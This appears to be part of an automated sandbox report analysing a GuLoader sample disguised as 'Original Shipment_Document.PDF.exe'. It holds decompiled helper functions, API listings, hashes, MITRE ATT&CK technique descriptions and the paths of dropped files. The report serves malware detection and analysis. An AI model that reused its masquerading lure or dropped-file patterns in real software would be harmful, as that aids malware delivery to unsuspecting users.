			}

0x00405e23
0x00405e2d
0x00405e30
0x00405e36
0x00405e37
0x00405e38
0x00405e40
0x00000000
0x00000000
0x00000000
0x00405e40
0x00405e42
0x00405e4a

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,004030E9,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,80000000,00000003,?,?,?,?,?,00403847,?), ref: 00405E28
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,004030E9,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,80000000,00000003), ref: 00405E38

Strings

C:\Users\user\Desktop, xrefs: 00405E22

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction ID: b9880c769af8d41d832fb6ed8dc33ce50b4fd52cea508e3b62d11b70b6cf9f92
Opcode Fuzzy Hash: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction Fuzzy Hash: 98D0A7B3410D20AEC3126B04EC04D9F73ACFF5130078A4427F581A71A4D7785D818EEC

Uniqueness

Uniqueness Score: -1.00%

Function 00405F5C Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F5C(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405f6c
0x00405f6e
0x00405f71
0x00405f9d
0x00405f76
0x00405f7f
0x00405f84
0x00405f8f
0x00405f92
0x00405fae
0x00405f94
0x00405f9b
0x00000000
0x00405f9b
0x00405fa7
0x00405fab
0x00405fab
0x00405fa5
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406241,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F6C
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405F84
CharNextA.USER32(00000000,?,00000000,00406241,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F95
lstrlenA.KERNEL32(00000000,?,00000000,00406241,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F9E

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction ID: 4f09c4eeff833ffafa08c7ff84761216a5ad6e9a06c03d1ebffd7ec4ed62f0c5
Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction Fuzzy Hash: 53F06231505818FFD7029FA5DD04D9EBBA8EF06254B2540AAE940F7250D678DE019BA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 6004, Parent PID: 1364COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	22
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 051504B0 Relevance: 2.6, Instructions: 2635
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000008C.00000002.185974568929.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 575debf9f8f65b96c7e7f483551136b2cc6406de851782f3357f935e475fb619
Instruction ID: 686003758f5891584cc70e3f5cf0b78fa4a48c38359be8df8ca5f62ed5b9065a
Opcode Fuzzy Hash: 575debf9f8f65b96c7e7f483551136b2cc6406de851782f3357f935e475fb619
Instruction Fuzzy Hash: 08436E34A00259DFDB18EB28C894B99B7F6FF89304F118598D409EB359CB71AD86CF91

Uniqueness

Uniqueness Score: -1.00%

Function 011AA4AA Relevance: 1.6, APIs: 1, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E24,31A02ACE,00000000,00000000,00000000,00000000), ref: 011AA53D

Memory Dump Source

Source File: 0000008C.00000002.185973771260.00000000011AA000.00000040.00000800.00020000.00000000.sdmp, Offset: 011AA000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6cc92dd92bb6e1f58453858591cfee01a1216fd25a5a2c261256aa757b0d4a8b
Instruction ID: a8c8c67427f592000fbe771332f537430ecd8aa732a76b98fb6b2a99e12152f5
Opcode Fuzzy Hash: 6cc92dd92bb6e1f58453858591cfee01a1216fd25a5a2c261256aa757b0d4a8b
Instruction Fuzzy Hash: 8C21B571409380AFE7228B61DC55F96BFB8EF06310F0984DBE984DF163D265A409CB76

Uniqueness

Uniqueness Score: -1.00%

Function 05152F60 Relevance: 1.6, Strings: 1, Instructions: 318
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L.3s, xrefs: 0515310E

Memory Dump Source

Source File: 0000008C.00000002.185974568929.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Similarity

API ID:
String ID: L.3s
API String ID: 0-4281472709
Opcode ID: f3e27cdae58f0d8b2e2074360b2e9b88e40f007df7efca0a8f659f9c1cc760be
Instruction ID: 654fb21ec98d56a2d3a9df33b307dcc02b787f44b49a67211068ae71451da31f
Opcode Fuzzy Hash: f3e27cdae58f0d8b2e2074360b2e9b88e40f007df7efca0a8f659f9c1cc760be
Instruction Fuzzy Hash: 15C15C35600204DFDB59EFA8C49CF6DB7A2BF48320F16C899D9269B266CB34EC41CB45

Uniqueness

Uniqueness Score: -1.00%

Function 011AA1F4 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleOutputCP.KERNELBASE ref: 011AA269

Memory Dump Source

Source File: 0000008C.00000002.185973771260.00000000011AA000.00000040.00000800.00020000.00000000.sdmp, Offset: 011AA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 13144ce5d0287b30fbb0e9c56f6f80d271663c0325ae4d71e1f47a3e9b2044e9
Instruction ID: 865e6fce941b68a3e6327b578a1d537e2e579e49ab84b49402c73c351ca409eb
Opcode Fuzzy Hash: 13144ce5d0287b30fbb0e9c56f6f80d271663c0325ae4d71e1f47a3e9b2044e9
Instruction Fuzzy Hash: 69219D3540D3C09FC7138B659C94652BFB0EF07220F0A80DBDC848F1A3D269A809CB62

Uniqueness

Uniqueness Score: -1.00%

Function 011AA4DE Relevance: 1.6, APIs: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E24,31A02ACE,00000000,00000000,00000000,00000000), ref: 011AA53D

Memory Dump Source

Source File: 0000008C.00000002.185973771260.00000000011AA000.00000040.00000800.00020000.00000000.sdmp, Offset: 011AA000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f2d42cb496a30f12b1624c4e9288aac6dcfcdaabf0c44a486814ad6df87ae9c7
Instruction ID: fc983393b05e1a8ca5bdaf45aa958c3b5a82258b873abb2669d58caaf5760bdf
Opcode Fuzzy Hash: f2d42cb496a30f12b1624c4e9288aac6dcfcdaabf0c44a486814ad6df87ae9c7
Instruction Fuzzy Hash: B211EF71400300EFEB21CF55ED80F6AFBE8EF04320F04845AE9859B252C375A404CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 011AA23A Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleOutputCP.KERNELBASE ref: 011AA269

Memory Dump Source

Source File: 0000008C.00000002.185973771260.00000000011AA000.00000040.00000800.00020000.00000000.sdmp, Offset: 011AA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 3ff35fc8de6c129ae9c180280429e5b3de762aba4bcd253906ed30374e900126
Instruction ID: 0094efd4770a0646cfef27a82f07a41010f0cd1fdcf0a80d2a3e5ff764ba8b04
Opcode Fuzzy Hash: 3ff35fc8de6c129ae9c180280429e5b3de762aba4bcd253906ed30374e900126
Instruction Fuzzy Hash: 87F0AF359043448FEB218F06E985761FFD0EF44621F48C09ADD094B342D379A454CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 051503F8 Relevance: 1.3, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L.3s, xrefs: 0515040E

Memory Dump Source

Source File: 0000008C.00000002.185974568929.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Similarity

API ID:
String ID: L.3s
API String ID: 0-4281472709
Opcode ID: 37f38f01239806f7a28716ecae2ad58fdab3963263c5eaa3ba63c218d3faea41
Instruction ID: 98607d840992292c645ffdcc6afe421f81198e05b2496bcae097360bc396ed39
Opcode Fuzzy Hash: 37f38f01239806f7a28716ecae2ad58fdab3963263c5eaa3ba63c218d3faea41
Instruction Fuzzy Hash: 0B11CE397042549FD309EB39D8A9F6A379AEF886107208068D906CB365DA71AC86C791

Uniqueness

Uniqueness Score: -1.00%

Function 05152E28 Relevance: .1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000008C.00000002.185974568929.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd4b4e3cbff59ac080d1848e57f4ccb619d4c9556093ca3227f9d2ce3fbfa0d6
Instruction ID: 4e3b19446f9afc1a5cfea2791b3601468ea6da17605a8f3cc3cc309826789a6c
Opcode Fuzzy Hash: cd4b4e3cbff59ac080d1848e57f4ccb619d4c9556093ca3227f9d2ce3fbfa0d6
Instruction Fuzzy Hash: 7741F436B00204DFDB14EBB8C458BAEBBA6EF88320F15806AD865E7351DB74DD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 051502A9 Relevance: .1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000008C.00000002.185974568929.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a386add81971914f2c6fc3432c10ffef448612ef3dbe716c3b1e4351076e3db
Instruction ID: 1d6c4f579a962701cb45796feef1b1eeb28e58fbef3ca9b95efda91789be8ebf
Opcode Fuzzy Hash: 3a386add81971914f2c6fc3432c10ffef448612ef3dbe716c3b1e4351076e3db
Instruction Fuzzy Hash: EC213934B04314CFDB59AB78C058B6E7BE2AFCA304B6544B9D406CB3A1DEB69C818B51

Uniqueness

Uniqueness Score: -1.00%

Function 05150221 Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000008C.00000002.185974568929.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f45574dc6e503b887b47c257368148fc6fe848688a7db1c76778fcce9d721b04
Instruction ID: 310b57db46b79b6e487d0ba10dabe04a78a9c588e377bc5a3b1a6e3f6545ad96
Opcode Fuzzy Hash: f45574dc6e503b887b47c257368148fc6fe848688a7db1c76778fcce9d721b04
Instruction Fuzzy Hash: 5001F771D10208DFCB28DFB9DC8899F7BB5FB48320B50457AE426D3254DB309590CB50

Uniqueness

Uniqueness Score: -1.00%

Function 011005E1 Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000008C.00000002.185973680841.0000000001100000.00000040.00000020.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bee0bd8750edb07228133c18553ff2802c2a3e3bbd7996c108079d915727517
Instruction ID: 59692fd3844b8b0593b48cdb4173fa4d1e20960e9ce4af8010a8e53dac942d1b
Opcode Fuzzy Hash: 4bee0bd8750edb07228133c18553ff2802c2a3e3bbd7996c108079d915727517
Instruction Fuzzy Hash: DFF0F9B25087806FD3118B16EC41853BFE8DF8623070980ABFC48CB212D125B909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 05150230 Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000008C.00000002.185974568929.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 908c956bb982b8ee96c036b7d6963c7511324c183bc51ded3173e1342e105cb7
Instruction ID: 8cd4a5a67684132f43139b9759c376ea37c037697fa727652989a42ebfff2bf8
Opcode Fuzzy Hash: 908c956bb982b8ee96c036b7d6963c7511324c183bc51ded3173e1342e105cb7
Instruction Fuzzy Hash: 4A01A271A11204DFCB28EFB5D88C96F7BB9FB48321B518579E836D3294DB309990CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01100606 Relevance: .0, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000008C.00000002.185973680841.0000000001100000.00000040.00000020.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea5714c3162ac89a830e746036ccda2a90d3804f43c4e8f6e704e3f7a7273f91
Instruction ID: 9c87e1f3e7699d39599693f2ab07609332b890f0e34180ac6ea4fc3140bd3ed9
Opcode Fuzzy Hash: ea5714c3162ac89a830e746036ccda2a90d3804f43c4e8f6e704e3f7a7273f91
Instruction Fuzzy Hash: DFE06DB66006045B9650CF0BED41452F7D8EB88630B18C06BEC0D8B700D575B504CEA6

Uniqueness

Uniqueness Score: -1.00%

Function 011A23F4 Relevance: .0, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000008C.00000002.185973748450.00000000011A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 011A2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78d050a3275998c5dd81ef8f528fff5880307e219eef58e343193f21a3ca14c2
Instruction ID: 09c5f03f88441d13d1d0bfc196d5b2edfe2084463f83f526aa8d2394486a3b7d
Opcode Fuzzy Hash: 78d050a3275998c5dd81ef8f528fff5880307e219eef58e343193f21a3ca14c2
Instruction Fuzzy Hash: 29D05E79305B914FF31A9A1CC1A4B953FE4AB51724F9B44F9A800CB673C768D581D600

Uniqueness

Uniqueness Score: -1.00%

Function 011A23BC Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000008C.00000002.185973748450.00000000011A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 011A2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b23d84795936ee137eccd86a86ca033bb54cb15af9bfdda25c4274405bd10f12
Instruction ID: 50d206e225c409345dd85379df91624fef66832d1b4015c2c06a2ebbf911d3bf
Opcode Fuzzy Hash: b23d84795936ee137eccd86a86ca033bb54cb15af9bfdda25c4274405bd10f12
Instruction Fuzzy Hash: 9FD05E382042814BEB29DA0CC294F593BD4AF49714F0644E8AC008B262C7B8D9C0DA00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05150006 Relevance: 5.1, Strings: 4, Instructions: 128COMMON

Download Yara Rule

Strings

@M3s, xrefs: 0515009F
@M3s, xrefs: 051500C3
@M3s, xrefs: 0515007B
@M3s, xrefs: 051500E7

Memory Dump Source

Source File: 0000008C.00000002.185974568929.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Similarity

API ID:
String ID: @M3s$@M3s$@M3s$@M3s
API String ID: 0-734518550
Opcode ID: 33fbd3297c46a4e4fa5a18a7dcab9ec303bf9e86d3be193bf66f4083954649fa
Instruction ID: 0c3b3ddabe1358483046a0006a976c7b5d9493551ad8eb1aef6aee6caead4b69
Opcode Fuzzy Hash: 33fbd3297c46a4e4fa5a18a7dcab9ec303bf9e86d3be193bf66f4083954649fa
Instruction Fuzzy Hash: 39519174509385CFE305EB34E9A170A7FF6EF85204F0688AAD444CB3AADB748845DB53

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Original Shipment_Document.PDF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

AV Detection

E-Banking Fraud

Stealing of Sensitive Information

Remote Access Functionality

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\caspol.exe.log

C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\nsExec.dll

C:\Users\user\AppData\Local\Temp\subfolder1\windows.exe

C:\Users\user\AppData\Local\Temp\tmp6DD1.tmp

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\catalog.dat

